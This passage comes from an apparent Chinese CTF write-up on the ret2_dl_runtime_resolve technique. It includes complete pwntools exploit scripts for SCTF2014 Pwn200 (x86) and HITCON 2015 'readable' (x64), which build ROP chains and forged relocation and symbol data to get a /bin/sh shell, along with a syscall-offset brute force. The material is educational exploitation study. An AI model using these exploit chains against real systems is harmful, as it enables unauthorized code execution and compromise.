shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(sym_data_addr) + p32(len(sym_data))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(func_name_addr) + p32(len(func_name))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(binsh_str_addr) + p32(len(binsh_str))
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode
  • 3、程序从标准输入读取“name”的时候,同第一步一样。程序从标准输入读取“slogan”的时候,输入另一段精心构造的一段ROP的shellcode,劫持程序的控制流。首先调用PLT0处的代码,传入伪造的system函数重定位表项相对于重定位表起始的偏移量reloc_index,利用_dl_runtime_resolve()函数进行system函数地址的解析。_dl_runtime_resolve()函数解析完system函数的地址后,就会调用system函数
1
2
3
shellcode = ""
shellcode += p32(PLT0) + p32(reloc_index) + p32(main_addr) + p32(binsh_str_addr)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *

context.clear()
context.log_level = 'debug'
context.binary = './pwn200'
context = {'arch':'i386','bits':'32','endian':'little','os':'linux'}

DT_JMPREL = 0x080482F8
DT_SYMTAB = 0x080481E0
DT_STRTAB = 0x08048260
DT_VERSYM = 0x080482C0
PLT0 = 0x08048350
BSS_Addr = 0x08049870

system_got = 0x080499A0
ppp_ret = 0x08048646
send_plt = 0x080483A0
read_plt = 0x08048360
read_got = 0x08049850
strlen_got = 0x08049858
main_addr = 0x080484AC

'''
typedef struct {
Elf32_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 4byte
Elf32_Word r_info; /* 重定位类型和符号表下标 */ 4byte
} Elf32_Rel;
'''
def generate_x86_reloc_data(sym_index,got_plt):
return p32(got_plt) + p32(0x07 + (sym_index<<8))

'''
typedef struct {
Elf32_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte
Elf32_Addr st_value; /* 符号的值,可能是地址或偏移 */ 4byte
Elf32_Word st_size; /* 符号的大小 */ 4byte
unsigned char st_info; /* 符号类型及绑定属性 */ 1byte
unsigned char st_other; /* 符号的可见性 */ 1byte
Elf32_Section st_shndx; /* 节头表索引 */ 2byte
} Elf32_Sym;
'''
def generate_x86_sym_data(name_offset):
return p32(name_offset) + p32(0) + p32(0) + p32(0x12)

# BSS_Addr(0x08049870) = DT_JMPREL(0x080482F8) + reloc_offset(0x1578)
reloc_offset = 0x1578

# sym_data_addr(0x080499C0) = DT_SYMTAB(0x080481E0) + sym_index(0x17e) * 16 (not useful)
reloc_data_addr = BSS_Addr
reloc_data = generate_x86_reloc_data(0x17e,system_got)

# func_name_addr(0x080499E0) = DT_STRTAB(0x08048260) + name_offset(0x1780)
sym_data_addr = 0x080499C0
sym_data = generate_x86_sym_data(0x1780)

# func_name_addr(0x080499E0) = sym_data_addr + 0x20
func_name_addr = sym_data_addr + 0x20
func_name = "system\x00"

# binsh_str_addr(0x080499F0) = func_name_addr + 0x10
binsh_str_addr = func_name_addr + 0x10
binsh_str = "/bin/sh\x00"

def str_to_hex(str):
return ''.join(['\\x' + '%02X' % ord(c) for c in str])

def get_io():
if args['REMOTE']:
io = remote('218.2.197.235',10101)
else:
io = process('./pwn200')
# io = gdb.debug('./pwn200','''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')

return io

def pwn(io):
# gdb.attach(io,'''
# bp 0x080484AC
# bp 0x08048507
# bp 0x08048524
# bp 0x08048579
# bp 0x08048596
# bp 0x080485b8''')
print "----------------Stage1: Fake system's reloc_data,sym_data and str_data.----------------"
# raw_input('[1] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
# raw_input('[2] before send name')
io.send(name)
print "name:" + name
# raw_input('[3] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")
shellcode = ""
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(reloc_data_addr) + p32(len(reloc_data))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(sym_data_addr) + p32(len(sym_data))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(func_name_addr) + p32(len(func_name))
shellcode += p32(read_plt) + p32(ppp_ret) + p32(0) + p32(binsh_str_addr) + p32(len(binsh_str))
shellcode += p32(main_addr)
ebp = p32(0xdeadbeef)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[4] before send payload')
io.send(payload)
# raw_input('[5] before send reloc_data')
io.send(reloc_data)
# raw_input('[6] before send sym_data')
io.send(sym_data)
# raw_input('[7] before send func_name')
io.send(func_name)
# raw_input('[8] before send binsh_str')
io.send(binsh_str)

print "----------------Stage2: Call system(\"/bin/sh\")----------------"
# raw_input('[9] before receive "input name:\x00"')
io.recvuntil("input name:\x00")
name = "syclover\x00".ljust(17,"\xff")
# raw_input('[10] before send name')
io.send(name)
print "name:" + name
# raw_input('[11] before receive "input slogan:\x00"')
io.recvuntil("input slogan:\x00")
shellcode = ""
shellcode += p32(PLT0) + p32(reloc_offset) + p32(main_addr) + p32(binsh_str_addr)
payload = 'A'*0x90 + p32(0) + 'A'*8 + ebp + shellcode
print "payload_len:" + str(len(payload))
print "payload:" + payload[0:0x90] + str_to_hex(payload[0x90:0x94]) + payload[0x94:0x9C] + str_to_hex(payload[0x9C:])
# raw_input('[12] before send payload')
io.send(payload)

io.interactive()

if __name__ == '__main__':
io = get_io()
pwn(io)

4.3、x64的情况——HITCON CTF 2015–readable

0、x86情况与x64情况的不同之处

1、相关结构体大小不同:

  • 动态链接重定位表“.rel.plt”x86情况使用Elf32_Rel,大小为2*4=8字节x64情况使用Elf64_Rela,大小为3*8=24字节x86情况的结构体成员r_info符号表下标重定位类型分别占用3字节1字节x64情况的结构体成员r_info符号表下标重定位类型分别占用4字节4字节
  • 动态链接符号表“.dynsym”x86情况使用Elf32_Sym,大小为4*4=16字节x64情况使用Elf64_Sym,大小为3*8=24字节x86情况x64情况结构体成员的顺序不同。

2、reloc_arg含义不同:

  • 1、x86情况: reloc_arg == reloc_offset,含义是所重定位符号的重定位项距离重定位表“.rel.plt”起始位置的偏移。重定位项地址reloc = JMPREL + reloc_offset
  • 2、x64情况: reloc_arg == reloc_index,含义是所重定位符号的重定位项重定位表“.rel.plt”中的下标。重定位项地址reloc = JMPREL + reloc_index*3*8

3、符号版本表(.gnu.version)

1
2
3
4
5
6
7
8
9
10
11
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)   
{
//获取动态符号版本表“.gnu.version”的地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
//ndx是当前符号所使用的glibc库版本在版本需要表(.gnu.version_r)中的版本结构体的vna_other成员的值
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
//l_version数组存储的是版本需要表(.gnu.version_r)中包含的二进制程序实际依赖的glibc库版本结构体指针
version = &l->l_versions[ndx]; //得到当前所解析符号的glibc库版本信息
if (version->hash == 0)
version = NULL;
}

  这段代码取r_info的高位作为符号版本表vernum(.gnu.version)下标,访问对应的值并赋给ndxndx再作为l_versions表的下标,找到对应的值赋给versionndx是当前符号所使用的glibc库版本版本需要表(.gnu.version_r)中的版本结构体(Elfxx_Vernaux)vna_other成员的值。l_versions是结构体r_found_version的数组。version表示的是版本需要表(.gnu.version_r)中包含的此ELF文件实际依赖的glibc库版本结构体(r_found_version)的指针。
  64位情况下,我们构造的fake链一般位于bss节(64位下,bss节一般位于0x600000之后),重定位表“.rela.plt”一般在0x400000左右,所以我们构造的r_info的高位(sym_index)reloc_arg一般会很大。又因为计算符号项地址&symtab[ELFW(R_SYM) (reloc->r_info)]和符号版本项地址vernum[ELFW(R_SYM) (reloc->r_info)]时,数组的数据类型的大小不同(symtab中的结构体大小为0x18字节vernum的数据类型为uint16_t,大小为0x2字节),这就导致vernum[ELFW(R_SYM) (reloc->r_info)]大概率会访问到0x4000000x600000之间的不可读区域(64位下,这个区间一般不可读),使得程序报错。
  32位情况下,我们构造的r_info的高位(sym_index)reloc_arg很小,所以计算vernum[ELFW(R_SYM) (reloc->r_info)] == vernum + sym_index*2时,不会访问到不可访问的区域。所以我们只要让vernum + sym_index*2访问到的ndx值合理即可。关于ndx的取值范围在我的另一篇文章中有介绍,但也只是猜测。——RCTF2015-WriteUp(Pwn)

为了防止出现这个错误,我们有几种方法。

  • 方法一:我们需要修改判断流程,使得l->l_info[VERSYMIDX (DT_VERSYM)]为0,从而绕开这块代码。而l->l_info[VERSYMIDX (DT_VERSYM)]64位中的位置就是link_map+0x1c8。对应的,32位下为link_map+0xe4,所以我们需要泄露link_map地址,将其置为0。这种攻击方式依赖源程序自带的输出函数
  • 方法二:使得vernum[ELFW(R_SYM) (reloc->r_info)] == vernum + sym_index*2可读,并且读出的ndx值合理。我们可以通过修改.dynamic节DT_VERSYM动态节类型所对应的动态节表项,使vernum表的地址改变。然后影响vernum + sym_index*2的计算结果,使得到符号版本表项的地址可读,并且此地址处的ndx值合理ndx的值一般不宜太大,设为0x0000应该是通用的。这种攻击方式依赖源程序自带的输入函数。能够任意地址写。

1、检查程序开启的保护机制

1
2
3
4
5
6
7
$ checksec readable
[*] '/home/******/Desktop/remote-dbg/readable'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

可以看到此程序只开启了NX(堆栈不可执行)

2、静态分析

IDA反编译后主函数如下:

1
2
3
4
5
6
ssize_t __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+0h] [rbp-10h] buf大小只有16byte

return read(0, &buf, 32uLL);
}

  这道题的漏洞很明显,buf的实际大小只有16byte,但是read()函数却最大可以读取32byte,这就造成了栈溢出,会覆盖rbpret_address。通过将ret_address覆盖为main函数的入口地址,从而对漏洞实现多次利用,达到任意地址写的目的。由于只有任意地址写权限,而没有读权限,因此几乎无法泄露信息,利用常规方法则会比较难。

3、方法一:爆破read()中syscall的偏移,并修改eax为0x3b,调用execve(“/bin/sh”,0,0)

利用思路:

  • 1、爆破获取read函数中调用syscall的偏移,并将其覆盖到read的GOT表内容最后一个字节,再将eax修改成0x3b,然后将“/bin/sh”压入栈,并将rdi指向它,同时将rsirdx分别设置为0,相当于调用了execve("/bin/sh",0,0),从而实现shell的获取。

每个系统调用中都有如下的实现:

1
2
3
4
5
6
7
8
9
10
11
;read函数
<read+n> mov eax,0x0
<read+(n+5)> syscall

;write函数
<write+n> mov eax,0x1
<write+(n+5)> syscall

;execve函数
<execve+n> mov eax,0x3b
<execve+(n+5)> syscall

  • 2、如果知道了read函数syscall距离read函数起始位置偏移,那么直接将read的GOT表内容最后一个字节修改为此偏移,同时通过read函数读取系统调用号长度的内容,使eax修改为系统调用号。这样,调用read函数的时候就相当于执行其他系统调用了。爆破syscall偏移的时候利用write函数进行打印测试,如果能够正常打印,则说明爆破出的syscall偏移正确的,否则程序读取不到相关信息。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *

context.clear()
# context.log_level = 'debug'
context.binary = './readable'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

bss_addr = 0x600910
buff_addr = bss_addr + 0x20
main_addr = 0x400505
head_addr = 0x400000
set_args_addr = 0x40058A # rbx,rbp,r12,r13,r14,r15
call_func_addr = 0x400570 #__libc_csu_init中的通用gadget
read_got = 0x6008E8
leave_ret = 0x400520

def get_io():
if args['REMOTE']:
io = remote('52.68.53.28',56746)
else:
io = process('./readable')
# io = gdb.debug('./readable','bp 0x400579') # get_syscall_dis()
io = gdb.debug('./readable','''bp 0x4004FD
bp 0x40051B''')
return io

def brute_syscall_addr(io,dis):
shellcode = ""
shellcode += p64(set_args_addr)
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x01) + p64(read_got) + p64(0x0)
# rdi = r15 = 0,rsi = r14 = read_got,rdx = r13 = 0x01,call(r12+rbx*8) = call(read_got+0*8)
# read(0,read_got,1) rax存储返回值,read()成功,则返回读取的字节数,这将rax设置为了0x01
shellcode += p64(call_func_addr)
shellcode += 'A' * 8 # 0x400586 add rsp, 8
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x04) + p64(head_addr) + p64(0x01)
# rdi = r15 = 0x01,rsi = r14 = head_addr,rdx = r13 = 0x04,call(r12+rbx*8) = call(read_got+0*8)
# write(1,head_addr,4),若dis成功将read_got指向syscall,则执行write()
shellcode += p64(call_func_addr)
length = len(shellcode)
print "shellcode length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = shellcode.ljust(length,'\x90')
print "payload length:" + str(len(payload))
for i in range(0,length,16):
# buf,rbp,ret_address
io.send('A'*0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr))
# buf,rbp,ret_address
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr))
io.send('A'*0x10 + p64(buff_addr - 0x08) + p64(leave_ret))
# raw_input('before send dis')
io.send(chr(dis))
print "dis:",hex(dis)
# raw_input('before receive data')
try:
data = io.recv(4,timeout=0.5)
print [c for c in data]
if data == '\x7FELF':
print "[*]Find the offset of syscall in read() function :",hex(dis)
raw_input()
except Exception,e:
pass

def get_syscall_dis():
dis = 0
for dis in range(0,0x100):
try:
io = get_io()
print "-------------------Start-----------------------"
brute_syscall_addr(io,dis)
print "--------------------End------------------------\n"
except Exception,e:
raise
else:
pass
finally:
pass

def pwn(io,dis):
shellcode = ""
shellcode += p64(set_args_addr)
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x3b) + p64(read_got - 0x3b + 1) + p64(0x0)
# rdi = r15 = 0,rsi = r14 = (read_got-0x3a),rdx = r13 = 0x3b,call(r12+rbx*8) = call(read_got+0*8)
# read(0,read_got-0x3a,3b) rax存储返回值,read()成功,则返回读取的字节数,这将rax设置为了0x3b
shellcode += p64(call_func_addr)
shellcode += 'A' * 8 # 0x400586 add rsp, 8
# rbx,rbp,r12,r13,r14,r15
shellcode += p64(0x0) + p64(0x01) + p64(read_got) + p64(0x0) + p64(0x0) + p64(bss_addr)
# rdi = r15 = bss_addr("/bin/sh"),rsi = r14 = 0,rdx = r13 = 0,call(r12+rbx*8) = call(read_got+0*8)
# execvl("/bin/sh",0,0)
shellcode += p64(call_func_addr)
length = len(shellcode)
print "shellcode length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = shellcode.ljust(length,'\x90')
print "payload length:" + str(len(payload))
for i in range(0,length,16):
# 'A'*0x10---RBP---ret_addr buffer的地址使用RBP-0x10算出,shellcode从0x600930(bss_addr+0x20)开始存储
# raw_input('---------[%d] Adjust buffer address---------'%i)
io.send('A'*0x10 + p64(buff_addr + 0x10 + i) + p64(main_addr))
# raw_input('-------------[%d] Send payload-------------'%i)
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr)) #bss节前0x20字节用于调整buffer地址
padding = "/bin/sh".ljust(0x10,'\x00')
# raw_input('-------------Send "/bin/sh"-------------')
io.send(padding + p64(buff_addr - 0x08) + p64(leave_ret)) #发送"/bin/sh",设置rsp指向shellcode,并跳转到shellcode执行
io.send('A'*(0x3b-1) + chr(dis))
io.interactive()

if __name__ == '__main__':
# get_syscall_dis()
io = get_io()
dis = 0x1e # or 0x3b
pwn(io,dis)

4、方法二:使用ret2_dl_runtime_resolve方式进行利用

利用思路:

  • 1、构造fake_reloc_datafake_sym_datafunc_namebinsh_strshellcode数据,并写入到合适的位置。计算数据写入地址时,需要注意一些情况。一般情况,这些数据都会写入到.bss节之后的位置。x64情况下,在_dl_runtime_resolve()函数和_dl_fixup()函数中,程序会通过rsp保存寄存器数据到栈上和修改栈上的数据,并且范围较大。由于此程序在通过read()函数多次读入数据时,修改了rbp,使得rbprsp都指向.bss节之后的地址。我们在进入符号解析函数时,解析函数会减小rsp,用于存储寄存器数据,并且会将栈上的一些数据清零。这会导致.bss节之前节的数据被修改,造成无法解析system函数的地址。所以我们需要在shellcode写入地址前留够一定的空间,供符号解析函数使用。而fake_reloc_datafake_sym_datafunc_namebinsh_str等数据一般写在shellcode之后的位置。

  下面是_dl_runtime_resolve()函数和_dl_fixup()函数中对rsp和rbp修改,以及利用rsp和rbp修改栈上数据的代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
_dl_runtime_resolve():
ld_2.23.so:00007F3988E58F14 and rsp, 0FFFFFFFFFFFFFFC0h
ld_2.23.so:00007F3988E58F18 sub rsp, cs:qword_7F3989066D50(0x3C0)
ld_2.23.so:00007F3988E58F1F mov [rsp], rax
ld_2.23.so:00007F3988E58F23 mov [rsp+8], rcx
ld_2.23.so:00007F3988E58F28 mov [rsp+10h], rdx
ld_2.23.so:00007F3988E58F2D mov [rsp+18h], rsi
ld_2.23.so:00007F3988E58F32 mov [rsp+20h], rdi
ld_2.23.so:00007F3988E58F37 mov [rsp+28h], r8
ld_2.23.so:00007F3988E58F3C mov [rsp+30h], r9
ld_2.23.so:00007F3988E58F41 mov eax, 0EEh
ld_2.23.so:00007F3988E58F46 xor edx, edx
ld_2.23.so:00007F3988E58F48 mov [rsp+250h], rdx
ld_2.23.so:00007F3988E58F50 mov [rsp+258h], rdx
ld_2.23.so:00007F3988E58F58 mov [rsp+260h], rdx
ld_2.23.so:00007F3988E58F60 mov [rsp+268h], rdx
ld_2.23.so:00007F3988E58F68 mov [rsp+270h], rdx
ld_2.23.so:00007F3988E58F70 mov [rsp+278h], rdx
ld_2.23.so:00007F3988E58F78 xsavec byte ptr [rsp+40h]

_dl_fixup():
ld_2.23.so:00007F3988E50A3A sub rsp, 10h
ld_2.23.so:00007F3988E50C10 sub rsp, 78h
ld_2.23.so:00007F3988E51203 sub rsp, 38h

  • 2、将fake数据写入到指定地址后,还需要修改.dynamic节DT_VERSYM动态节类型所对应的动态节表项中的vernum表的地址,使得ndx = vernum + sym_index*2地址处的ndx值为合理值。
1
2
3
4
# modify versym dynamic addr(.gnu.version) 
# DT_VERSYM(0x40031E) - sym_index(0x155E2)*2 = 0x3D575A or 0x6006F0 - sym_index(0x155E2)*2 = 0x5D5B2C
# raw_input('---------[1] Before modify versym dynamic address---------')
write_data_to_address(0x600858,p64(0x6FFFFFF0) + p64(0x3D575A)) # versym + sym_index*2 可被访问
  • 3、构造shellcode,首先将“/bin/sh”的地址存入rdi寄存器,然后返回到PLT0处的代码,传入system重定位项重定位表中的下标,利用符号解析函数,计算system函数的地址。解析完system函数的地址后,就会调用system("/bin/sh")。从而获取shell。
1
2
3
4
shellcode = ""
shellcode += p64(p_rdi_ret) + p64(binsh_str_addr) # "/bin/sh"
shellcode += p64(PLT0) + p64(reloc_index)
write_data_to_address(buff_addr,shellcode)
  • 4、向内存中写入shellcode后,还需要写入一段数据,用于调整rsp,使程序跳转到shellcode执行。
1
2
# buf--rbp--ret_address
io.send('A'*0x10 + p64(buff_addr - 0x8) + p64(leave_ret))

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
# Author:Sp4n9x
# -*- coding:utf-8 -*-
from pwn import *

# x64
# Elf64_Rel *reloc = JMPREL + reloc_index*3*8
# Elf64_Sym *sym = &SYMTAB[(reloc->r_info)>>0x20]
# i.e. *sym = DT_SYMTAB + [(reloc->r_info)>>0x20]*3*8
# assert(((reloc->r_info)&0xFFFFFFFF) == 0x7) type
# if((sym->st_other)&3 == 0) if not resolved
# uint16_t ndx = VERSYM[(reloc->r_info)>>0x20]
# r_found_version *version = &l->l_version[ndx]
# name = STRTAB + sym->st_name
# modify ret_addr = PLT0、the first arg = reloc_index、rdi = addr("/bin/sh")
# modify (jmprel + reloc_index*3*8) <== fake_reloc_data
# modify (symtab + [(reloc->r_info)>>0x20]*3*8) <== fake_sym_data
# modify (strtab + sym->st_name) <== 'system\x00'
# modify (link_map + 0x1c8 == 0) or (versym + sym_index*2 可被访问) #第2点在64位系统中很难满足,第1点需要泄露link_map的值。

context.clear()
context.log_level = 'debug'
context.binary = './readable'
context = {'arch':'amd64','bits':'64','endian':'little','os':'linux'}

def get_io():
if args['REMOTE']:
io = remote('52.68.53.28',56746)
else:
io = process('./readable')
# io = gdb.debug('./readable','''bp 0x4004FD
# bp 0x40051B''')
return io

'''
typedef struct {
Elf64_Addr r_offset; /* 表示重定位所作用的虚拟地址或相对基地址的偏移 */ 8byte
Elf64_Xword r_info; /* 重定位类型和符号表下标 */ 8byte
Elf64_Sxword r_addend; /* Addend */ 8byte
} Elf64_Rela;
'''
def generate_x64_reloc_data(sym_index,got_plt):
return p64(got_plt) + p64((sym_index<<0x20) + 0x07) + p64(0)

'''
typedef struct {
Elf64_Word st_name; /* 符号名,符号在字符串表中的偏移 */ 4byte
unsigned char st_info; /* 符号类型及绑定属性 */ 1byte
unsigned char st_other; /* 符号的可见性 */ 1byte
Elf64_Section st_shndx; /* 节头表索引 */ 2byte
Elf64_Addr st_value; /* 符号的值,可能是地址或偏移 */ 8byte
Elf64_Xword st_size; /* 符号的大小 */ 8byte
} Elf64_Sym;
'''
def generate_x64_sym_data(name_offset):
return p32(name_offset) + p32(0x12) + p64(0) + p64(0)

'''
内存布局:
0x600910 - 0x600930 Adjust buffer address
0x600930 - 0x600940 system_got
0x600940 - 0x600F20 0x5E0
0x600F20 - 0x600F40 shellcode
0x600F40 - 0x600F88 0x50
0x600F88 - 0x600FA8 reloc_data (align 0x18)
0x600FA8 - 0x600FB0 0x8
0x600FB0 - 0x600FD0 sym_data (align 0x18)
0x600FD0 - 0x600FE0 func_name("system")
0x600FE0 - 0x600FF0 binsh_str("/bin/sh")
'''

DT_JMPREL = 0x400360
DT_SYMTAB = 0x400280
DT_STRTAB = 0x4002E0
DT_VERSYM = 0x40031E

bss_addr = 0x600910
system_got = bss_addr + 0x20
buff_addr = bss_addr + 0x610
main_addr = 0x400505
PLT0 = 0x4003D0
p_rdi_ret = 0x400593
leave_ret = 0x400520

# reloc_data_addr(0x600F88) = DT_JMPREL(0x400360) + reloc_index(0x155D7)*3*8
reloc_index = 0x155D7

# sym_data_addr(0x600FB0) = DT_SYMTAB(0x400280) + sym_index(0x155E2)*3*8
reloc_data_addr = 0x600F88
reloc_data = generate_x64_reloc_data(0x155E2,system_got)

# func_name_addr(0x600FD0) = DT_STRTAB(0x4002E0) + name_offset(0x200CF0)
sym_data_addr = 0x600FB0
sym_data = generate_x64_sym_data(0x200CF0)

# func_name_addr(0x600FD0) = sym_data_addr(0x600FB0) + 0x20
func_name_addr = 0x600FD0
func_name = "system\x00"

# binsh_str_addr(0x600FE0) = func_name_addr(0x600FD0) + 0x10
binsh_str_addr = 0x600FE0
binsh_str = "/bin/sh\x00"

def write_data_to_address(address,data):
length = len(data)
print "Data length:" + str(length)
if length % 16 != 0:
length += 16 - length % 16
payload = data.ljust(length,'\x90')
print "Payload length:" + str(length)
for i in range(0,length,16):
# 'A'*0x10---RBP---ret_addr buffer的地址使用RBP-0x10算出
# raw_input('---------Adjust buffer address---------')
io.send('A'*0x10 + p64(address + 0x10 + i) + p64(main_addr))
# raw_input('-------------Send payload-------------')
io.send(payload[i:i+16] + p64(bss_addr + 0x10) + p64(main_addr)) # 每次只能往内存中写0x10字节数据

def pwn(io):
# modify versym dynamic addr(.gnu.version)
# DT_VERSYM(0x40031E) - sym_index(0x155E2)*2 = 0x3D575A or 0x6006F0 - sym_index(0x155E2)*2 = 0x5D5B2C
# raw_input('---------[1] Before modify versym dynamic address---------')
write_data_to_address(0x600858,p64(0x6FFFFFF0) + p64(0x3D575A)) # versym + sym_index*2 可被访问
# raw_input('---------[2] Before send reloc_data---------')
write_data_to_address(reloc_data_addr,reloc_data)
# raw_input('---------[3] Before send sym_data---------')
write_data_to_address(sym_data_addr,sym_data)
# raw_input('---------[4] Before send func_name---------')
write_data_to_address(func_name_addr,func_name)
# raw_input('---------[5] Before send binsh_str---------')
write_data_to_address(binsh_str_addr,binsh_str)

shellcode = ""
shellcode += p64(p_rdi_ret) + p64(binsh_str_addr) # "/bin/sh"
shellcode += p64(PLT0) + p64(reloc_index)
write_data_to_address(buff_addr,shellcode) #
# raw_input('-------------Before send adjust rsp code-------------')
io.send('A'*0x10 + p64(buff_addr - 0x8) + p64(leave_ret))
io.interactive()

if __name__ == '__main__':
io = get_io()
pwn(io)

Reference

[ 01 ]:程序员的自我修养—链接、装载与库
[ 02 ]:ELF文件系列第五篇ELF文件静态结构中的重定位项
[ 03 ]:glibc/elf/elf.h
[ 04 ]:聊聊动态链接和dl_runtime_resolve
[ 05 ]:Linux二进制分析
[ 06 ]:dl-resolve浅析
[ 07 ]:Linux pwn入门教程(10)——针对函数重定位流程的几种攻击
[ 08 ]:详细解析ret2_dl_runtime_resolve
[ 09 ]:Oracle® Solaris 11.2 链接程序和库指南
[ 10 ]:glibc动态链接器dl_runtime_resolve简要分析
[ 11 ]:Linux下库函数动态链接过程分析-结合glibc-2.11源码
[ 12 ]:ret2dl x64 & x32的差异
[ 13 ]:ret2dl-runtime-resolve详细分析(32位&64位)

文章目录
  1. 1、延迟绑定
    1. 1.1、延迟绑定的实现
      1. 1.1.1、PLT的基本原理
      2. 1.1.2、PLT的真正实现
  2. 2、动态链接相关结构
    1. 2.0、标准ELF变量类型
    2. 2.1、“.interp”节
    3. 2.2、“.dynamic”节
    4. 2.3、“.rel.dyn”节和“.rel.plt”节
    5. 2.4、“.got”节和“.got.plt”节
    6. 2.5、“.dynsym”节
    7. 2.6、“.dynstr”节
  3. 3、ret2_dl_runtime_resolve利用原理
    1. 3.1、函数调用流程
    2. 3.2、_dl_runtime_resolve(link_map_obj, reloc_arg)解析流程
      1. 3.2.0、link_map结构体定义
      2. 3.2.1、_dl_runtime_resolve()的内容
      3. 3.2.2、_dl_fixup()的内容
  4. 4、真题解析
    1. 4.0、ret2_dl_runtime_resolve适用情况
    2. 4.1、ret2_dl_runtime_resolve利用方式
    3. 4.2、x86的情况——SCTF2014 Pwn200
      1. 1、检查程序开启的保护机制
      2. 2、静态分析
      3. 3、方法一:使用题目提供的libc库,进行利用
      4. 4、方法二:如果题目未提供libc库,使用ret2_dl_runtime_resolve方式进行利用
    4. 4.3、x64的情况——HITCON CTF 2015–readable
      1. 0、x86情况与x64情况的不同之处
      2. 1、检查程序开启的保护机制
      3. 2、静态分析
      4. 3、方法一:爆破read()中syscall的偏移,并修改eax为0x3b,调用execve(“/bin/sh”,0,0)
      5. 4、方法二:使用ret2_dl_runtime_resolve方式进行利用
  5. Reference